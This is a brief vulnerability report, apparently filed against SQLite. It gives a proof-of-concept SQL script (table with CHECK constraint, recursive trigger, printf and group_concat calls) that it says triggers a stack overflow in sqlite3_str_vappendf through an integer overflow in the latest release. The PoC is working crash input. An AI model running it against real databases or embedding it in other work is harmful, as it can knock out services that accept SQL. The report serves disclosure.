Affected latest release version. 

POC:
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CREATE TABLE a(b DOUBLE CHECK( NOT CASE WHEN printf(b, b) THEN 0 END) UNIQUE ON CONFLICT REPLACE);
CREATE TRIGGER c INSERT ON a BEGIN INSERT INTO a SELECT group_concat(b, 2147483647) FROM a;END;
INSERT INTO a(b, b, b) VALUES(NULL, 9, 3);
UPDATE a SET b = 0;
INSERT INTO a VALUES('GERMANY''s%'), ('Y'), ('Brand#23')
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Stack overflow in sqlite3_str_vappendf, caused by int overflow